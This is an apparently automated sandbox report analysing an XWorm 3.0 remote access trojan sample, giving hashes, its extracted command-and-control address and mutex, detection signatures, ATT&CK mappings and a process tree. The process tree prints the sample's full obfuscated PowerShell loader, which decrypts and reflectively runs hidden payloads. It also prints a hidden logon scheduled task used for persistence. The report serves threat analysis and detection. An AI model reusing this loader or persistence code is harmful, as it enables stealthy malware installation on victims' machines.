xworm | cbce0de5b44bc1d63ac50c7da954f63f20148fd56547ddc1257282238a608bc8

Analysis

max time kernel
41s
max time network
38s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
19-01-2025 17:34

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General

Target

$phantomClient.bat
Size

274KB
MD5

38f07463ec0e63e7a582c1bac3b2a5e8
SHA1

b7ef827021e088cb2ed7c2b2bf348da6f3d86d45
SHA256

cbce0de5b44bc1d63ac50c7da954f63f20148fd56547ddc1257282238a608bc8
SHA512

5ebca03ce18b8543f3e29c5cace28dd614891475dd4370cf18c243311d4a787d814ca6a424645fd61fa51faec3de91e9566eb5c4d1be7b91cc100454ee893ca5
SSDEEP

6144:4vbNSGoQZJ2gx4csj3NKoqHHFRWrHaQTnO:4DNSW2j1eYG

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.0

florida-guild.gl.at.ply.gg:7717

Mutex

5JpFVUe17SDvBwAb

Attributes

Install_directory
%Public%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4956-102-0x00000243C6580000-0x00000243C658E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	4956	powershell.exe
14	4956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1572	powershell.exe
2176	powershell.exe
4956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Public\\powershell.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1576956541-1869783662-2981982442-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1572	powershell.exe
1572	powershell.exe
2176	powershell.exe
2176	powershell.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
3416	taskmgr.exe
4956	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	3416	taskmgr.exe
Token: SeSystemProfilePrivilege	3416	taskmgr.exe
Token: SeCreateGlobalPrivilege	3416	taskmgr.exe
Token: SeIncreaseQuotaPrivilege	2176	powershell.exe
Token: SeSecurityPrivilege	2176	powershell.exe
Token: SeTakeOwnershipPrivilege	2176	powershell.exe
Token: SeLoadDriverPrivilege	2176	powershell.exe
Token: SeSystemProfilePrivilege	2176	powershell.exe
Token: SeSystemtimePrivilege	2176	powershell.exe
Token: SeProfSingleProcessPrivilege	2176	powershell.exe
Token: SeIncBasePriorityPrivilege	2176	powershell.exe
Token: SeCreatePagefilePrivilege	2176	powershell.exe
Token: SeBackupPrivilege	2176	powershell.exe
Token: SeRestorePrivilege	2176	powershell.exe
Token: SeShutdownPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeSystemEnvironmentPrivilege	2176	powershell.exe
Token: SeRemoteShutdownPrivilege	2176	powershell.exe
Token: SeUndockPrivilege	2176	powershell.exe
Token: SeManageVolumePrivilege	2176	powershell.exe
Token: 33	2176	powershell.exe
Token: 34	2176	powershell.exe
Token: 35	2176	powershell.exe
Token: 36	2176	powershell.exe
Token: SeIncreaseQuotaPrivilege	2176	powershell.exe
Token: SeSecurityPrivilege	2176	powershell.exe
Token: SeTakeOwnershipPrivilege	2176	powershell.exe
Token: SeLoadDriverPrivilege	2176	powershell.exe
Token: SeSystemProfilePrivilege	2176	powershell.exe
Token: SeSystemtimePrivilege	2176	powershell.exe
Token: SeProfSingleProcessPrivilege	2176	powershell.exe
Token: SeIncBasePriorityPrivilege	2176	powershell.exe
Token: SeCreatePagefilePrivilege	2176	powershell.exe
Token: SeBackupPrivilege	2176	powershell.exe
Token: SeRestorePrivilege	2176	powershell.exe
Token: SeShutdownPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeSystemEnvironmentPrivilege	2176	powershell.exe
Token: SeRemoteShutdownPrivilege	2176	powershell.exe
Token: SeUndockPrivilege	2176	powershell.exe
Token: SeManageVolumePrivilege	2176	powershell.exe
Token: 33	2176	powershell.exe
Token: 34	2176	powershell.exe
Token: 35	2176	powershell.exe
Token: 36	2176	powershell.exe
Token: SeIncreaseQuotaPrivilege	2176	powershell.exe
Token: SeSecurityPrivilege	2176	powershell.exe
Token: SeTakeOwnershipPrivilege	2176	powershell.exe
Token: SeLoadDriverPrivilege	2176	powershell.exe
Token: SeSystemProfilePrivilege	2176	powershell.exe
Token: SeSystemtimePrivilege	2176	powershell.exe
Token: SeProfSingleProcessPrivilege	2176	powershell.exe
Token: SeIncBasePriorityPrivilege	2176	powershell.exe
Token: SeCreatePagefilePrivilege	2176	powershell.exe
Token: SeBackupPrivilege	2176	powershell.exe
Token: SeRestorePrivilege	2176	powershell.exe
Token: SeShutdownPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeSystemEnvironmentPrivilege	2176	powershell.exe
Token: SeRemoteShutdownPrivilege	2176	powershell.exe
Token: SeUndockPrivilege	2176	powershell.exe
Token: SeManageVolumePrivilege	2176	powershell.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3688	Explorer.EXE
3688	Explorer.EXE
3688	Explorer.EXE

Suspicious use of SendNotifyMessage 53 IoCs

pid	Process
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3416	taskmgr.exe
3688	Explorer.EXE
3688	Explorer.EXE
3688	Explorer.EXE
3688	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2184	3020	cmd.exe	83
PID 3020 wrote to memory of 2184	3020	cmd.exe	83
PID 3020 wrote to memory of 1572	3020	cmd.exe	84
PID 3020 wrote to memory of 1572	3020	cmd.exe	84
PID 1572 wrote to memory of 2176	1572	powershell.exe	85
PID 1572 wrote to memory of 2176	1572	powershell.exe	85
PID 1572 wrote to memory of 4788	1572	powershell.exe	90
PID 1572 wrote to memory of 4788	1572	powershell.exe	90
PID 4788 wrote to memory of 832	4788	WScript.exe	91
PID 4788 wrote to memory of 832	4788	WScript.exe	91
PID 832 wrote to memory of 2772	832	cmd.exe	93
PID 832 wrote to memory of 2772	832	cmd.exe	93
PID 832 wrote to memory of 4956	832	cmd.exe	94
PID 832 wrote to memory of 4956	832	cmd.exe	94
PID 4956 wrote to memory of 3416	4956	powershell.exe	88
PID 4956 wrote to memory of 3688	4956	powershell.exe	57
PID 4956 wrote to memory of 1768	4956	powershell.exe	31
PID 4956 wrote to memory of 1760	4956	powershell.exe	30
PID 4956 wrote to memory of 2940	4956	powershell.exe	51
PID 4956 wrote to memory of 1164	4956	powershell.exe	19
PID 4956 wrote to memory of 2344	4956	powershell.exe	41
PID 4956 wrote to memory of 2932	4956	powershell.exe	50
PID 4956 wrote to memory of 764	4956	powershell.exe	15
PID 4956 wrote to memory of 3716	4956	powershell.exe	71
PID 4956 wrote to memory of 2136	4956	powershell.exe	38
PID 4956 wrote to memory of 2836	4956	powershell.exe	74
PID 4956 wrote to memory of 1340	4956	powershell.exe	23
PID 4956 wrote to memory of 3112	4956	powershell.exe	53
PID 4956 wrote to memory of 936	4956	powershell.exe	11
PID 4956 wrote to memory of 2300	4956	powershell.exe	40
PID 4956 wrote to memory of 1904	4956	powershell.exe	32
PID 4956 wrote to memory of 2880	4956	powershell.exe	47
PID 4956 wrote to memory of 1696	4956	powershell.exe	29
PID 4956 wrote to memory of 2680	4956	powershell.exe	44
PID 4956 wrote to memory of 4984	4956	powershell.exe	72
PID 4956 wrote to memory of 1492	4956	powershell.exe	27
PID 4956 wrote to memory of 2672	4956	powershell.exe	43
PID 4956 wrote to memory of 2864	4956	powershell.exe	46
PID 4956 wrote to memory of 1484	4956	powershell.exe	26
PID 4956 wrote to memory of 1152	4956	powershell.exe	35
PID 4956 wrote to memory of 1472	4956	powershell.exe	25
PID 4956 wrote to memory of 3604	4956	powershell.exe	56
PID 4956 wrote to memory of 680	4956	powershell.exe	16
PID 4956 wrote to memory of 2916	4956	powershell.exe	49
PID 4956 wrote to memory of 1260	4956	powershell.exe	22
PID 4956 wrote to memory of 2044	4956	powershell.exe	34
PID 4956 wrote to memory of 3816	4956	powershell.exe	58
PID 4956 wrote to memory of 1448	4956	powershell.exe	24
PID 4956 wrote to memory of 1048	4956	powershell.exe	17
PID 4956 wrote to memory of 456	4956	powershell.exe	67
PID 4956 wrote to memory of 1236	4956	powershell.exe	21
PID 4956 wrote to memory of 2412	4956	powershell.exe	42
PID 4956 wrote to memory of 404	4956	powershell.exe	13
PID 4956 wrote to memory of 2008	4956	powershell.exe	33
PID 4956 wrote to memory of 816	4956	powershell.exe	9
PID 4956 wrote to memory of 416	4956	powershell.exe	14
PID 4956 wrote to memory of 1192	4956	powershell.exe	20
PID 4956 wrote to memory of 1388	4956	powershell.exe	68
PID 4956 wrote to memory of 1584	4956	powershell.exe	28
PID 4956 wrote to memory of 1976	4956	powershell.exe	37
PID 4956 wrote to memory of 988	4956	powershell.exe	12
PID 4956 wrote to memory of 1972	4956	powershell.exe	36
PID 816 wrote to memory of 2648	816	svchost.exe	96
PID 816 wrote to memory of 2648	816	svchost.exe	96

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\system32\DllHost.exe
  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
  2⤵
  PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2300

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3604

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+cN5uEbF73Ykg/jqicpTU05Fxhy2D0F5Q6q0/5siUL4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/wZXYHh9IukO2mFyhRqJmA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XvQLV=New-Object System.IO.MemoryStream(,$param_var); $AIqAx=New-Object System.IO.MemoryStream; $ScFgx=New-Object System.IO.Compression.GZipStream($XvQLV, [IO.Compression.CompressionMode]::Decompress); $ScFgx.CopyTo($AIqAx); $ScFgx.Dispose(); $XvQLV.Dispose(); $AIqAx.Dispose(); $AIqAx.ToArray();}function execute_function($param_var,$param2_var){ $RIwpH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kEZjO=$RIwpH.EntryPoint; $kEZjO.Invoke($null, $param2_var);}$wdsbs = 'C:\Users\Admin\AppData\Local\Temp\$phantomClient.bat';$host.UI.RawUI.WindowTitle = $wdsbs;$Duvoe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wdsbs).Split([Environment]::NewLine);foreach ($pmbwo in $Duvoe) { if ($pmbwo.StartsWith('KSAwBULSdFFkTPiGomjT')) { $mvcPS=$pmbwo.Substring(20); break; }}$payloads_var=[string[]]$mvcPS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_671_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_671.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2176
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_671.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_671.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+cN5uEbF73Ykg/jqicpTU05Fxhy2D0F5Q6q0/5siUL4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/wZXYHh9IukO2mFyhRqJmA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XvQLV=New-Object System.IO.MemoryStream(,$param_var); $AIqAx=New-Object System.IO.MemoryStream; $ScFgx=New-Object System.IO.Compression.GZipStream($XvQLV, [IO.Compression.CompressionMode]::Decompress); $ScFgx.CopyTo($AIqAx); $ScFgx.Dispose(); $XvQLV.Dispose(); $AIqAx.Dispose(); $AIqAx.ToArray();}function execute_function($param_var,$param2_var){ $RIwpH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kEZjO=$RIwpH.EntryPoint; $kEZjO.Invoke($null, $param2_var);}$wdsbs = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_671.bat';$host.UI.RawUI.WindowTitle = $wdsbs;$Duvoe=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wdsbs).Split([Environment]::NewLine);foreach ($pmbwo in $Duvoe) { if ($pmbwo.StartsWith('KSAwBULSdFFkTPiGomjT')) { $mvcPS=$pmbwo.Substring(20); break; }}$payloads_var=[string[]]$mvcPS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4956
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
3ccf13786554a09feada0ddedbc8a646

SHA1
54d359350816173172d9a351b465207e4be88a8f

SHA256
f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9

SHA512
